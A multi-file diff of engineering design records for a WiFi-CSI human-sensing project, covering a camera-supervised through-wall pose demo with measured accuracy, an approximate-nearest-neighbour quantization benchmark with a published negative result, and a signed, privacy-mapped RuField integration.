bar means we make that claim **only because we measure it**: a second camera on the far side
|
||||
of the wall records ground-truth pose *behind* the wall, so the through-wall skeleton's
|
||||
accuracy is a **reported, reproducible number** — never an unfalsifiable "trust me."
|
||||
|
||||
### Honest capability framing (the load-bearing section)
|
||||
Through-wall **per-joint skeletal inference from WiFi CSI is not a generally-validated
|
||||
capability** in open settings — WiFi-DensePose (CMU) is camera-*co-located*. What makes it
|
||||
defensible *here* is the tightly-controlled regime and the measurement:
|
||||
|
||||
- **Controlled regime:** one room, one subject (you), one doorway, a model **camera-supervised
|
||||
on your exact gait and your exact through-door transition** (ADR-079) minutes earlier. This
|
||||
is in-distribution for *this* demo, not a universal claim.
|
||||
- **Measured, not asserted:** a far-side camera (cognitum-v0 has 17 `/dev/video*` nodes — use
|
||||
one, or a phone) records ground-truth pose behind the wall. The through-wall CSI skeleton is
|
||||
scored against it with the metric-locked PCK harness (ADR-173). **We publish the number.**
|
||||
- **Uncertainty is rendered, not hidden:** the through-wall skeleton is drawn **translucent**,
|
||||
with a live **per-joint confidence** and an explicit `RF-INFERRED` badge. High-confidence
|
||||
joints render solid; low-confidence joints fade. It never masquerades as the camera's
|
||||
ground-truth pose.
|
||||
|
||||
| While… | Camera | WiFi CSI (S3 / Pi5 nexmon, fused) | 60 GHz mmWave (C6 + MR60BHA2) |
|
||||
|--------|--------|-----------------------------------|-------------------------------|
|
||||
| In frame | **Full 17-kpt pose** — ground truth | full skeleton (supervised model) — *agrees with camera* | presence + range + micro-motion |
|
||||
| Behind a **drywall** | nothing (occluded) | **inferred full skeleton** (camera-supervised model + multistatic fusion), confidence-scored, **measured vs far-side camera** | presence + range + breathing — independent through-thin-wall confirm |
|
||||
| Behind **brick/metal** | nothing | degrades to coarse motion/position only — report honestly | blocked |
|
||||
|
||||
**The claim — stated precisely:** *"A WiFi-CSI model, camera-supervised on this subject and
|
||||
room, infers a continuous skeletal pose that tracks the subject through a drywall partition;
|
||||
through-wall accuracy is measured at X% PCK@k against a far-side camera (declared, not
|
||||
claimed)."* If X turns out low, that is the **honest result we report** — the skeleton is still
|
||||
rendered (the user wants it) but flagged with its true confidence, and the headline number is
|
||||
whatever we measured, good or bad.
|
||||
|
||||
### Why multistatic + supervision is the enabler
|
||||
A single node behind a wall sees only "something moved." Three spatially-diverse vantage points
|
||||
around the doorway (RuvSense multistatic + cross-viewpoint fusion, ADR-029/030) triangulate the
|
||||
moving scatterer — drywall attenuates and diffracts 2.4/5 GHz but does not block it — giving the
|
||||
model a rich enough multipath signature to regress a skeleton it was *trained* to associate with
|
||||
your through-door motion. AETHER re-ID embeddings (ADR-024) keep it locked to **you** across the
|
||||
camera→RF→camera hand-off.
|
||||
|
||||
### Available hardware (the user's actual rig)
|
||||
| Role | Device | Where | Stream |
|
||||
|------|--------|-------|--------|
|
||||
| Near ground truth (visible) | Laptop / USB camera | front of workstation (ruvzen) | MediaPipe pose → keypoints |
|
||||
| **Far ground truth (validation)** | cognitum-v0 camera (1 of 17 `/dev/video*`) or a phone | **behind the wall** | MediaPipe pose → keypoints (for MEASURING the through-wall skeleton) |
|
||||
| CSI node A | ESP32-S3 (8 MB) | COM9 (ruvzen) | UDP CSI :5005 |
|
||||
| CSI + mmWave node B | ESP32-C6 + Seeed MR60BHA2 | COM12 (ruvzen) | WiFi CSI + 60 GHz FMCW presence/range |
|
||||
| CSI node C (through-wall vantage) | Pi 5, BCM43455c0 | cognitum-v0 (other room) | nexmon_csi `.pcap` → rvcsi → CsiFrame |
|
||||
| Fusion + serving | sensing-server | ruvzen :3000/:8765 | `/ws/sensing`, `/ws/pose`, new `/ws/handoff` |
|
||||
|
||||
Place **node C (Pi 5) and the far camera on the far side of the wall** — the Pi 5 gives the
|
||||
fuser a vantage the camera lacks, and the far camera turns the through-wall claim into a
|
||||
measurement.
|
||||
|
||||
## Decision
|
||||
|
||||
Build a **camera↔CSI hand-off demo** as a thin, additive layer over existing components (no new
|
||||
heavy crate). Five parts: a multi-source capture plane, a camera-supervised calibration walk
|
||||
that **learns to infer the skeleton through the wall**, a **hand-off state machine**, a
|
||||
**dead-reckoning smoother** so dropped CSI never makes the figure jump, and a single-file HTML
|
||||
viewer that renders the inferred skeleton with honest confidence.
|
||||
|
||||
### 1. Capture plane (reuse, don't rebuild)
|
||||
- **Near camera:** `scripts/collect-ground-truth.py` already does MediaPipe pose + ESP32 CSI
|
||||
paired capture (ADR-079). Extend it to also subscribe to the Pi 5 nexmon stream (rvcsi), the
|
||||
C6 mmWave presence, **and the far camera**, so every frame is
|
||||
`(near_pose|null, far_pose|null, csi_S3, csi_C6, mmwave_C6, csi_Pi5, t)`.
|
||||
- **CSI nodes:** S3 over UDP :5005, Pi 5 via `rvcsi` (vendor/rvcsi nexmon adapter → `CsiFrame`),
|
||||
C6 WiFi CSI + the MR60BHA2 60 GHz presence/range/breathing.
|
||||
- **Fusion:** all CSI sources into the existing `MultistaticFuser`
|
||||
(`signal/src/ruvsense/multistatic.rs`); node positions around the doorway via
|
||||
`--node-positions` (geometric-diversity index drives confidence). **#1049:** with 3
|
||||
independently-clocked nodes set `WDP_GUARD_INTERVAL_US` to the real inter-node spread or
|
||||
fusion demotes.
|
||||
|
||||
### 2. Calibration walk — "it learns my movements **and infers them through the wall**" (ADR-079)
|
||||
A 3–5 minute guided routine. The HTML page scripts the walk: stand, step left/right, walk to the
|
||||
door, **cross fully behind the wall and back**, repeat — covering the visible AND the occluded
|
||||
zone, because **both cameras label ground truth**:
|
||||
- **Visible-zone supervision:** near camera labels pose; synchronized CSI window is the input.
|
||||
- **Through-wall supervision (the key part):** while you are behind the wall, the **far camera**
|
||||
labels your pose. So the CSI→skeleton model is trained on *real behind-wall poses* paired with
|
||||
the *behind-wall multistatic CSI* — the model genuinely learns to infer your skeleton through
|
||||
the wall, supervised by ground truth, not extrapolated blindly.
|
||||
- Train/fine-tune on `ruvultra` (RTX 5080) if available, else the local recipe. Persist as a
|
||||
per-room calibration bank (ADR-151 `baseline → enroll → extract → train`). AETHER re-ID
|
||||
embeddings (ADR-024) bind the track to you across the hand-off.
|
||||
- **Held-out split:** reserve some behind-wall passes for evaluation so through-wall PCK is
|
||||
measured on data the model never trained on (no leakage — the ADR-152 measurement discipline).
|
||||
|
||||
### 3. Hand-off state machine (`sensing-server/src/handoff.rs`, < 300 lines)
|
||||
States: `CAMERA` → `HANDOFF_OUT` → `RF_INFERRED` → `HANDOFF_IN` → `CAMERA` (+ `LOST`).
|
||||
- **`CAMERA`** — near camera has a confident pose → render it; RF-inferred skeleton ghosted
|
||||
alongside for the "they agree" effect.
|
||||
- **`HANDOFF_OUT`** — near-camera confidence drops at the doorway **while** CSI motion stays high
|
||||
and the multistatic track heads into the door zone → cross-fade source camera→RF.
|
||||
- **`RF_INFERRED`** — no camera pose; the CSI model emits a **full 17-kpt skeleton** + per-joint
|
||||
confidence; AETHER confirms it is still you. Render the translucent skeleton + confidence,
|
||||
badge `RF-INFERRED (through-wall)`. (When fusion confidence is too low for a credible skeleton,
|
||||
degrade gracefully to a coarse marker rather than a flailing one — honest fallback.)
|
||||
- **`HANDOFF_IN`** — near camera re-acquires a pose positionally consistent with the last RF
|
||||
skeleton (continuity gate) → cross-fade RF→camera.
|
||||
- **`LOST`** — neither source for N cycles → "no track," never invented.
|
||||
|
||||
Fail-closed: `RF_INFERRED` requires real multistatic motion energy + an AETHER identity match
|
||||
above calibrated floors; absent that → `LOST`, never a phantom. Mirrors the governed-trust gate
|
||||
(ADR-031 / ADR-141).
|
||||
|
||||
### 4. Dead reckoning & smoothing — fluid, never jumpy (the user's requirement)
|
||||
CSI does **not** arrive cleanly: UDP frames drop, nexmon `.pcap` has gaps, the fuser skips
|
||||
cycles when the #1049 guard rejects a spread, and the model's per-frame skeleton jitters. Render
|
||||
only on real frames and the figure teleports and shakes — which also *reads as fake*. A
|
||||
**predict/correct (dead-reckoning) layer** keeps the skeleton continuous and smooth between
|
||||
measurements, with **bounded** extrapolation so we never invent motion that didn't happen:
|
||||
|
||||
- **Per-joint constant-velocity Kalman filter** — reuse `signal/src/ruvsense/pose_tracker.rs`
|
||||
(the project's existing 17-keypoint Kalman tracker with AETHER re-ID). The renderer runs at a
|
||||
**fixed ~30 Hz, decoupled from CSI arrival**:
|
||||
- **Measurement this tick** → Kalman *update* (correct) each joint with the new inferred pose.
|
||||
- **Dropped CSI this tick** → Kalman *predict* only: advance each joint by `x += v·dt`, so the
|
||||
skeleton keeps moving along its trajectory instead of freezing then snapping. **This is the
|
||||
dead reckoning** — the limbs keep their motion through a dropout.
|
||||
- **Confidence decay (honesty governor):** every predict-only tick multiplies confidence and
|
||||
widens covariance. Dead reckoning is trusted for a **bounded** horizon (default ≤ ~500 ms,
|
||||
`WDP_DEADRECKON_MAX_MS`); past it, confidence hits the floor → state machine → `LOST`. **We
|
||||
coast briefly to stay smooth; we never coast forever to fake a track.** Someone who actually
|
||||
stopped behind the wall converges to a still pose then `LOST`, not perpetual phantom walking.
|
||||
- **Re-acquire smoothing:** a returning measurement after a gap is blended in with a
|
||||
critically-damped step (no overshoot) over 2–3 ticks, so the skeleton eases onto truth.
|
||||
- **Client render smoothing (already present):** `ui/observatory/js/figure-pool.js`
|
||||
`applyKeypoints` already `lerp`s joints with a small velocity overshoot for secondary motion;
|
||||
the hand-off viewer reuses it. The camera↔RF cross-fade is an alpha-lerp over ~300 ms.
|
||||
|
||||
**Dead-reckoning honesty invariants (testable):**
|
||||
1. Predicted-only frames carry `"dead_reckoned": true` + `"age_ms"`; the UI dims them —
|
||||
extrapolation is never shown as a fresh measurement.
|
||||
2. Confidence is **monotonically non-increasing** across consecutive predict-only ticks.
|
||||
3. After `WDP_DEADRECKON_MAX_MS` of silence the state **must** become `LOST` (pinned test:
|
||||
measurements then silence → assert transition within the horizon; no perpetual motion).
|
||||
4. Dead reckoning extrapolates an **existing** track only — no measurement ever ⇒ no track ⇒
|
||||
`LOST`, never a phantom from zero.
|
||||
|
||||
### 5. The HTML demo (single file, vanilla — mirrors the Observatory)
|
||||
`ui/through-wall/index.html` (+ a small JS bundle, zero build step, like `ui/observatory/`):
|
||||
- **Left:** near camera feed with the MediaPipe skeleton overlaid while visible; greys to
|
||||
"CAMERA BLIND" when occluded. (Optional second tile: the far camera, shown only in a
|
||||
"validation" view, not the hero view.)
|
||||
- **Right:** a top-down 3D room (Three.js) with the **wall** drawn, the doorway, the three
|
||||
sensor positions, and the figure: a **solid skeleton** in `CAMERA`, a **translucent skeleton
|
||||
with per-joint confidence fade** in `RF_INFERRED`, eased by the dead-reckoning smoother.
|
||||
- **Banner / `BannerState`** (strict, mirrors rufield-viewer): `CAMERA` / `RF-INFERRED — through
|
||||
wall (conf X%, measured Y% PCK@k)` / `DEAD-RECKONED (age N ms)` / `LOST` — mutually exclusive,
|
||||
with a one-line honesty caption. The measured through-wall PCK is shown, not invented.
|
||||
- Consumes a new `GET /ws/handoff` WS/SSE topic of `HandoffFrame`s; `?demo=1` replays a recorded
|
||||
session badged `REPLAY`.
|
||||
|
||||
### Output contract (`HandoffFrame`, JSON)
|
||||
```jsonc
|
||||
{
|
||||
"t_ns": 1718400000000,
|
||||
"state": "RF_INFERRED", // CAMERA | HANDOFF_OUT | RF_INFERRED | HANDOFF_IN | LOST
|
||||
"source": "fused_csi", // camera | fused_csi | mmwave | dead_reckoned
|
||||
"pose": [[x,y,z,conf], …×17], // inferred skeleton WITH per-joint confidence (present in CAMERA/HANDOFF/RF_INFERRED)
|
||||
"pose_confidence": 0.58, // aggregate; the rendered translucency
|
||||
"identity_match": 0.81, // AETHER re-ID — is it still you?
|
||||
"coarse": { "cell":[x,y], "zone":"behind_wall", "heading_deg":95, "node_diversity":0.48 },
|
||||
"dead_reckoned": false, // true on predict-only (extrapolated) ticks
|
||||
"age_ms": 0, // ms since the last real measurement (0 = fresh)
|
||||
"camera_blind": true,
|
||||
"measured_pck": { "k": 20, "value": null }, // filled from the far-camera validation run; null until measured
|
||||
"caption": "RF-inferred skeleton — model camera-supervised on this room; through-wall PCK measured separately"
|
||||
}
|
||||
```
|
||||
|
||||
## Phased plan (each phase independently demoable + falsifiable)
|
||||
- **P1 — wiring (no claim):** 3-source CSI capture (S3+C6+Pi5) + near camera into the multistatic
|
||||
fuser. Gate: `/ws/sensing` shows ≥3 active nodes + a fused position with the camera running.
|
||||
- **P2 — supervised calibration + through-wall training:** the guided walk with **both cameras**;
|
||||
fine-tune CSI→skeleton on visible AND far-camera-labeled behind-wall poses (ADR-079). Gate:
|
||||
while-visible PCK declared (metric-locked, ADR-173) on a held-out segment.
|
||||
- **P3 — MEASURE the through-wall skeleton:** score the RF-inferred skeleton against the far
|
||||
camera on held-out behind-wall passes → **publish the through-wall PCK@k** (good or bad). Gate:
|
||||
a committed eval script reproduces the number; honest negative if low.
|
||||
- **P4 — hand-off + dead reckoning + HTML:** the camera→RF→camera transition renders end-to-end,
|
||||
smooth through dropped CSI. Gate: a recorded live walk where the camera goes blind, the inferred
|
||||
skeleton keeps walking fluidly behind the wall, dead-reckons through dropouts without jumps, and
|
||||
re-acquisition is position-continuous. **This is the demo.**
|
||||
- **P5 — multi-modal corroboration (optional):** overlay C6 60 GHz presence/range as an
|
||||
independent through-thin-wall confirm (two physics, one conclusion).
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- A genuinely compelling demo that does what the user asked — **infers and renders the skeleton
|
||||
through the wall** — while staying honest because the through-wall accuracy is **measured**
|
||||
against a far-side camera, not claimed. Reuses the multistatic fuser, ADR-079 supervision, the
|
||||
Kalman pose tracker, AETHER re-ID, the calibration crate, and the Observatory UI: the new code
|
||||
is a hand-off module + dead-reckoning smoother + an HTML page.
|
||||
|
||||
### Negative / Risks
|
||||
- **Through-wall skeletal accuracy may be modest or poor.** That is acceptable *iff* reported
|
||||
honestly — the headline is the measured PCK, whatever it is; the skeleton renders with its true
|
||||
per-joint confidence (low-confidence joints fade), never as fake certainty.
|
||||
- **Material dependence:** drywall good; brick/metal degrades to coarse-only — shoot on drywall
|
||||
and say so.
|
||||
- **3-node clock sync** is the #1049 hazard — tune `WDP_GUARD_INTERVAL_US`.
|
||||
- **Per-room, per-subject:** the model that "learned your movements" does not transfer without
|
||||
re-calibration — stated on the page.
|
||||
- **Over-claiming is the failure mode.** Mitigations baked in: translucent confidence-faded
|
||||
skeleton, `dead_reckoned`/`age_ms` flags, the measured-PCK banner, bounded extrapolation→`LOST`.
|
||||
|
||||
### Neutral
|
||||
- No new heavy crate; signal-path proof (`verify.py`) untouched — capture/fusion/UI orchestration
|
||||
over hardened, already-reviewed components.
|
||||
|
||||
## Acceptance criteria (falsifiable — "prove the haters wrong")
|
||||
On a recorded live session, all must hold:
|
||||
1. A contiguous window where the **near camera reports no person** (verifiable from raw frames)
|
||||
**and** the system renders an `RF_INFERRED` skeleton.
|
||||
2. The inferred skeleton's **gross motion matches reality** — direction of travel and rough gait
|
||||
phase — confirmed against the **far camera** (not eyeballed).
|
||||
3. **Through-wall per-joint accuracy is MEASURED** against the far camera and **reported** as
|
||||
PCK@k from a committed script. Low is fine *if* honestly published; fabricated is not.
|
||||
4. The figure is **smooth through dropped CSI** — no teleports/jitter — and every predicted-only
|
||||
frame is flagged `dead_reckoned`; after `WDP_DEADRECKON_MAX_MS` of silence it goes `LOST`.
|
||||
5. Re-acquisition is **position-continuous** (camera re-detects within a cell of the last RF
|
||||
position), and AETHER confirms identity across the hand-off.
|
||||
6. Every number (visible PCK, through-wall PCK, confidences) is MEASURED and reproducible — no
|
||||
hand-typed metrics.
|
||||
|
||||
A demo that cannot meet (1)–(2) and (4)–(5) on the available hardware is reported as a **negative
|
||||
result** (honest), not dressed up; a poor (3) is published as the real number.
|
||||
|
||||
## Links
|
||||
- ADR-079 — camera ground-truth training (supervision pipeline; extended here to a far camera)
|
||||
- ADR-031 — sensing-first RF mode / coherence gate (fail-closed honesty pattern)
|
||||
- ADR-134 — CSI→CIR multipath (through-wall multipath physics)
|
||||
- ADR-029 / ADR-030 — RuvSense multistatic + persistent field (the localization engine)
|
||||
- ADR-024 — AETHER contrastive re-ID (identity lock across the hand-off)
|
||||
- ADR-151 — per-room calibration crate (bank persistence)
|
||||
- ADR-152 / ADR-173 — measurement discipline + metric-locked PCK (the honest accuracy readout)
|
||||
- ADR-095 / ADR-096 — rvcsi nexmon (Pi 5 BCM43455c0 capture)
|
||||
- `signal/src/ruvsense/pose_tracker.rs` — 17-kpt Kalman tracker reused for dead reckoning
|
||||
- `ui/observatory/` — the vanilla-JS 3D viewer pattern this demo mirrors
|
||||
@@ -351,12 +351,11 @@ Total test count across the workspace: **60 tests, 0 failed**.
|
||||
| 6 | Benchmark runner produces deterministic reports | **PASS** — identical report across runs (latency is the only wall-clock field) |
|
||||
| 7 | Raw waveform storage disabled by default | **PASS** — P0 network transmission denied by default policy |
|
||||
| 8 | P4 inference requires consent policy approval | **PASS** — P4 without consent → RequiresConsent; breathing/scratch rules carry `requires_consent = true` |
|
||||
| 9 | Dashboard shows live camera-free room intelligence | **DEFERRED** — no `rufield-viewer` dashboard in v0.1; the benchmark + `room_intelligence` example provide a CLI view. Follow-up. |
|
||||
| 9 | Dashboard shows live camera-free room intelligence | **PASS** — `rufield-viewer` (Axum + vanilla JS) streams the deterministic SyntheticSim→fusion demo: live room state, privacy-badged (P0–P5) event log, fusion graph, click-to-open signed-receipt modal, behind a permanent `SYNTHETIC — simulated sensors, no hardware` banner. `cargo run -p rufield-viewer`. Read-only demo viewer (not a device-management console — that's the real-adapter milestone). |
|
||||
| 10 | Spec readable for external implementers | **PASS** — ADR-260 + detailed standalone README with compiling usage examples |
|
||||
|
||||
**Decision:** §27 criteria 1–8 and 10 PASS; criterion 9 (live dashboard) is
|
||||
**deferred** to a follow-up. Per the acceptance rule (1–8, 10 pass; 9 may be
|
||||
deferred), Status is set to **Accepted — v0.1 reference stack**.
|
||||
**Decision:** **all §27 criteria 1–10 PASS** (criterion 9, the live dashboard,
|
||||
was completed by `rufield-viewer`). Status is **Accepted — v0.1 reference stack**.
|
||||
|
||||
### Deterministic benchmark report (SYNTHETIC, seed = 2026)
|
||||
|
||||
|
||||
@@ -139,7 +139,7 @@ Fixture: planted-cluster synthetic, **dim=128, N=10,000, 64 clusters, 200 querie
|
||||
|
||||
## 8. Validation
|
||||
|
||||
- **`cd v2 && cargo test -p wifi-densepose-ruvector --no-default-features --lib`** — **151 passed / 0 failed** (was 131; +20 new tests: 10 `hnsw`, 7 `hnsw_quantized`, 3 `ann_measure`).
|
||||
- **`cd v2 && cargo test -p wifi-densepose-ruvector --no-default-features --lib`** — **156 passed / 0 failed, 1 ignored** (M1 added 20: 10 `hnsw`, 7 `hnsw_quantized`, 3 `ann_measure`; M2 added 5 multi-bit/scaling tests; `scaling_report` is the `#[ignore]` measurement that produced the §11 table).
|
||||
- **`cargo test --workspace --no-default-features`** — GREEN (see §10 for the count).
|
||||
- **Correctness gate verified to bite:** the recall@10 gate **panicked** on the first (buggy) insert path (§4); after the fix it passes at 0.99+ recall (L2 and cosine).
|
||||
- **`cargo test -p wifi-densepose-ruvector --no-default-features --release ann_bench_report -- --nocapture`** — prints the §6 table; the numbers above are copied verbatim from that run.
|
||||
@@ -154,10 +154,13 @@ Fixture: planted-cluster synthetic, **dim=128, N=10,000, 64 clusters, 200 querie
|
||||
|
||||
**Negative / honest.** The 1-bit quantized variant is **not** an equal-recall QPS win at our scale; it is shipped as a measured experiment with a clearly-stated ceiling, not as a recommended default. Anyone reaching for it must read §7.
|
||||
|
||||
**Resolved by Milestone-2 (§11, MEASURED — no longer deferred).**
|
||||
- **Multi-bit traversal score** — implemented (`b ∈ {1,2,4}` bits/dim over the Pass-2 rotated coordinates) and measured. It *does* lift quantized recall (at N=10k, b=4 reaches the 0.90 equal-recall regime where 1-bit could not), but still does not beat float HNSW QPS.
|
||||
- **Large-N crossover measurement** — measured at N ∈ {10k, 100k, 250k}. **The predicted large-N crossover did NOT materialize — it moved the wrong way** (quant recall *collapses* as N grows). See §11.
|
||||
|
||||
**Deferred (not silently dropped).**
|
||||
- **Multi-bit / RaBitQ-estimator traversal score.** Replace 1-bit Hamming traversal with a ≤4-bit code or the `estimator.rs` unbiased rescale (ADR-156 §10/§11) — the lever most likely to lift quantized recall to the equal-recall regime.
|
||||
- **Large-N crossover measurement.** Re-run §6 at N=100k–1M (`ANN_BENCH_N`) to find where quantization's per-node saving starts to dominate.
|
||||
- **Wiring HNSW into the live re-ID path** (AETHER hot-cache / sketch prefilter) behind a flag.
|
||||
- **N ≥ 1M + SymphonyQG's exact RaBitQ-fused construction** — our impl refutes the *direction* at ≤250k; a true 1:1 reproduction at million-scale with their fused codes remains a separate, larger build.
|
||||
|
||||
---
|
||||
|
||||
@@ -170,3 +173,28 @@ Fixture: planted-cluster synthetic, **dim=128, N=10,000, 64 clusters, 200 querie
|
||||
- `lib.rs` — `pub mod hnsw / hnsw_quantized / ann_measure`; re-export `HnswIndex`, `HnswParams`, `Metric`, `QuantizedHnswIndex`.
|
||||
- `ADR-156-ruvector-fusion-beyond-sota.md` §5 #1 + §8 backlog — SymphonyQG regraded **CLAIMED → MEASURED-direction-tested (refuted at N=10k for our 1-bit construction)**, pointing here.
|
||||
- `CHANGELOG.md` — `[Unreleased]` entry.
|
||||
|
||||
---
|
||||
|
||||
## 11. Milestone-2 — multi-bit traversal + large-N scaling study (MEASURED)
|
||||
|
||||
M1 (§7) refuted the SymphonyQG direction at N=10k with a 1-bit code, and *predicted* a crossover at "large N + a higher-bit code." M2 builds both levers and measures them — so the prediction is tested, not assumed.
|
||||
|
||||
**Built:** `hnsw_quantized.rs` generalized from 1-bit to a **`b`-bit-per-dimension** code (`b ∈ {1,2,4}`, a mid-rise quantizer over the same `RANGE=3.0` rotated coordinates as ADR-156 §10's `measure_multibit`); `ann_measure.rs` gained `run_scaling_study` / `best_float_op` / `best_quant_op` + a deterministic `scaling_report` (`#[ignore]`, `--release`) and a CI-safe `scaling_study_small_is_consistent`. Memory: **16 / 32 / 64 bytes/node** for b = 1 / 2 / 4.
|
||||
|
||||
**MEASURED** (dim=128, 64 clusters, 200 queries, K=10, L2, M=16, ef_construction=200, seeded, `--release`, this box; target recall ≥ 0.90):
|
||||
|
||||
| N | bits | B/node | quant best recall | float @ target | quant @ target | quant/float |
|
||||
|--:|--:|--:|--:|--|--|--:|
|
||||
| 10,000 | 1 | 16 | 1.000 | 23,155 QPS @ r=0.995 | 4,482 QPS @ r=0.965 | **0.19×** |
|
||||
| 10,000 | 2 | 32 | 1.000 | 23,155 QPS @ r=0.995 | 10,658 QPS @ r=0.908 | **0.46×** |
|
||||
| 10,000 | 4 | 64 | 1.000 | 23,155 QPS @ r=0.995 | 11,217 QPS @ r=0.946 | **0.48×** |
|
||||
| 100,000 | 1 / 2 / 4 | 16/32/64 | 0.207 / 0.346 / 0.788 | 2,493 QPS @ r=0.938 | none (never ≥ 0.90) | — |
|
||||
| 250,000 | 1 / 2 / 4 | 16/32/64 | 0.108 / 0.210 / 0.624 | 1,593 QPS @ r=0.925 | none | — |
|
||||
|
||||
**Verdict — NO crossover at any measured (N, b) up to 250k, and the trend REFUTES the large-N prediction:**
|
||||
1. **Multi-bit helps at small N but not enough.** At N=10k, more bits lift the equal-recall QPS ratio 0.19× → 0.46× → 0.48× (and let b≥2 actually *reach* the 0.90 bar that 1-bit missed) — but quant stays **below 1.0×**, i.e. slower than float HNSW at equal recall.
|
||||
2. **The predicted large-N crossover moved the wrong way.** As N grows 10k → 100k → 250k, quant's best achievable recall **collapses** (b=4: 1.000 → 0.788 → 0.624) and never reaches the 0.90 comparison point, while float HNSW holds ≥0.92. A denser graph packs near-neighbours whose low-bit codes are nearly identical, so the approximate score steers the beam off-path faster than the bigger float-distance savings can repay. The "crossover at millions" intuition is **not supported by our construction's trend** — if anything it diverges.
|
||||
3. **Caveat unchanged:** this is our HNSW + our per-node multi-bit code, not SymphonyQG's RaBitQ-fused graph. The result refutes the *direction* for our construction at ≤250k; it does not disprove their published numbers on their system at their scale. A real 1:1 reproduction is the deferred million-scale build.
|
||||
|
||||
This is a **published negative with the mechanism explained** — the multi-bit + scaling levers were built and measured rather than asserted, and the honest outcome (no crossover, trend diverging) is recorded, not hidden.
|
||||
|
||||
@@ -0,0 +1,207 @@
|
||||
# ADR-262: RuField MFS ↔ RuView integration — a live SensingServerAdapter, a privacy/provenance bridge, MAPPED not papered-over
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Proposed — **P1 + P3 implemented** (live `/api/field` + `/ws/field`; P3 signs with a **dedicated dev/sensing key**, deferring the §8 Q1 `cog-ha-matter` key-ownership decision to P2) |
|
||||
| **Date** | 2026-06-14 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codebase target** | New thin bridge crate `wifi-densepose-rufield` (v2 workspace member); taps `wifi-densepose-sensing-server` emit path + `wifi-densepose-engine` `TrustedOutput`; depends on `vendor/rufield/crates/rufield-*` via path (the `vendor/rvcsi` pattern) |
|
||||
| **Relates to** | ADR-260 (RuField MFS spec + v0.1 reference stack), ADR-261 (RuVector graph-ANN), ADR-141 (BFLD privacy control-plane / modes / attestation), ADR-137 (fusion-engine quality scoring / contradiction), ADR-032 (multistatic mesh security hardening / witness), ADR-116 (cog tamper-evident audit log — `cog-ha-matter` SHA-256+Ed25519), ADR-095/096 (`rvcsi` vendored-submodule precedent) |
|
||||
| **Scope** | Decide **how** RuView's live WiFi-CSI sensing-server emits RuField `FieldEvent`s, **whether** RuView's ruvsense fusion composes with or is wrapped by rufield-fusion, and **how** to reconcile RuView's existing privacy/witness/provenance machinery with RuField's P0–P5 + ed25519 `ProvenanceReceipt`. The privacy/provenance reconciliation is the crux. |
|
||||
|
||||
---
|
||||
|
||||
## 0. PROOF discipline (this ADR's contract)
|
||||
|
||||
This project has been publicly accused of "AI slop." This ADR answers with **evidence, not adjectives** — every "RuView already does X" carries a `file:line`, and every external/SOTA claim is graded.
|
||||
|
||||
- **No accuracy is claimed.** RuField v0.1 is **SYNTHETIC** end-to-end by its own admission (ADR-260 "Honest statement", line 386–390: *"Every metric here is simulator-based. No ESP32 CSI, mmWave, or thermal capture was used."*). RuView's only real-CSI rufield path today would be **replay of recorded `.csi.jsonl`, unlabeled** — `rufield-adapters::CsiReplayAdapter`'s own module doc (`vendor/rufield/crates/rufield-adapters/src/csi_replay.rs:19-31`) states it is *"real signal, replay from file not live hardware, unlabeled ⇒ proxy not validated accuracy."* This ADR therefore proposes **plumbing**, and grades its own claims as "ARCHITECTURE" (a design decision, testable by a round-trip/compile gate) vs "ACCURACY" (which it explicitly does not assert).
|
||||
- The privacy/provenance section reports an **honest conflict**: RuView has **three** witness mechanisms across two hash algorithms, and **two** privacy enums, none of which map 1:1 onto RuField's P0–P5. We map them and recommend the cleanest reconciliation rather than asserting they already align.
|
||||
- Each phase below ships an **independently testable gate** (a round-trip test, a privacy-monotonicity test, a signature-verify test) so the integration is provable, not aspirational.
|
||||
|
||||
---
|
||||
|
||||
## 0.1 Implementation status
|
||||
|
||||
**P1 (§4) is implemented** as the `wifi-densepose-rufield` bridge crate (`v2/crates/wifi-densepose-rufield/`, a new v2 workspace member; path-deps the `vendor/rufield` submodule per §5.4):
|
||||
|
||||
- **Input** — `SensingSnapshot` (owned primitives mirroring `SensingUpdate` features/classification/signal_field joined with the `TrustedOutput` `trust_class`/`demoted`/`identity_bound`); the bridge does **not** depend on `wifi-densepose-sensing-server` (anti-corruption layer).
|
||||
- **Conversion** — `snapshot_to_field_event(&snap, &Signer)` emits a signed `FieldEvent` (`Modality::WifiCsi`, axis `[Frequency]`, real `timestamp_ns`); position derived from the signal-field peak when present (never fabricated); real sha256 `ProvenanceRef` + ed25519 signature, `synthetic = false`.
|
||||
- **Privacy (§3.3 crux)** — `map_privacy()` maps by information content, **fail-closed**: `Raw → P0`, `Derived → P4` (or `P5` if identity-bound — **never P1**), `Anonymous → P2`, `Restricted → P2`; a `demoted` cycle floors egress to ≥ P2.
|
||||
- **Gates that pass** (`tests/p1_gates.rs`, 15 tests / 0 failed = 5 unit + 9 integration + 1 doc): round-trip (snapshot → `FieldEvent` → serde → equal); `is_fusable` (verified ed25519 receipt); `RuFieldFusion::ingest` accept + `infer()` runs; **privacy-safety** (`gate_privacy_safety_derived_never_maps_to_low_privacy` — `Derived → P4/P5`, never P1; full §3.3 table; fail-closed demotion); determinism (same snapshot + same signer seed → byte-identical event).
|
||||
|
||||
**P3 (§4) is implemented** as the live RuField surface in `wifi-densepose-sensing-server` (the bridge is now wired into the running server):
|
||||
|
||||
- **Tap** — at the ESP32 governed-trust cycle (`main.rs` `observe_cycle` ~`:5886` / `SensingUpdate` build ~`:5938`), a new `emit_rufield_event` joins the cycle's `SensingUpdate` (features / classification / signal_field) with the engine's recorded `effective_class` / `demoted` trust state into a `wifi_densepose_rufield::SensingSnapshot`, then `snapshot_to_field_event(&snap, &signer)`. Existing endpoints (`/ws/sensing` etc.) are **unchanged** — purely additive.
|
||||
- **Surface** — `GET /api/field` (latest signed `FieldEvent`s + signer pubkey + a `dev_signing_key` flag) and `GET /ws/field` (broadcast stream, mirroring `/ws/sensing`), both mounted on the HTTP port and `/ws/field` also on the WS port. A small bounded ring buffer (`FIELD_RING_CAPACITY = 64`) holds recent **network-surfaced** events. New handler code lives in `src/rufield_surface.rs`, not in the 8k-line `main.rs`.
|
||||
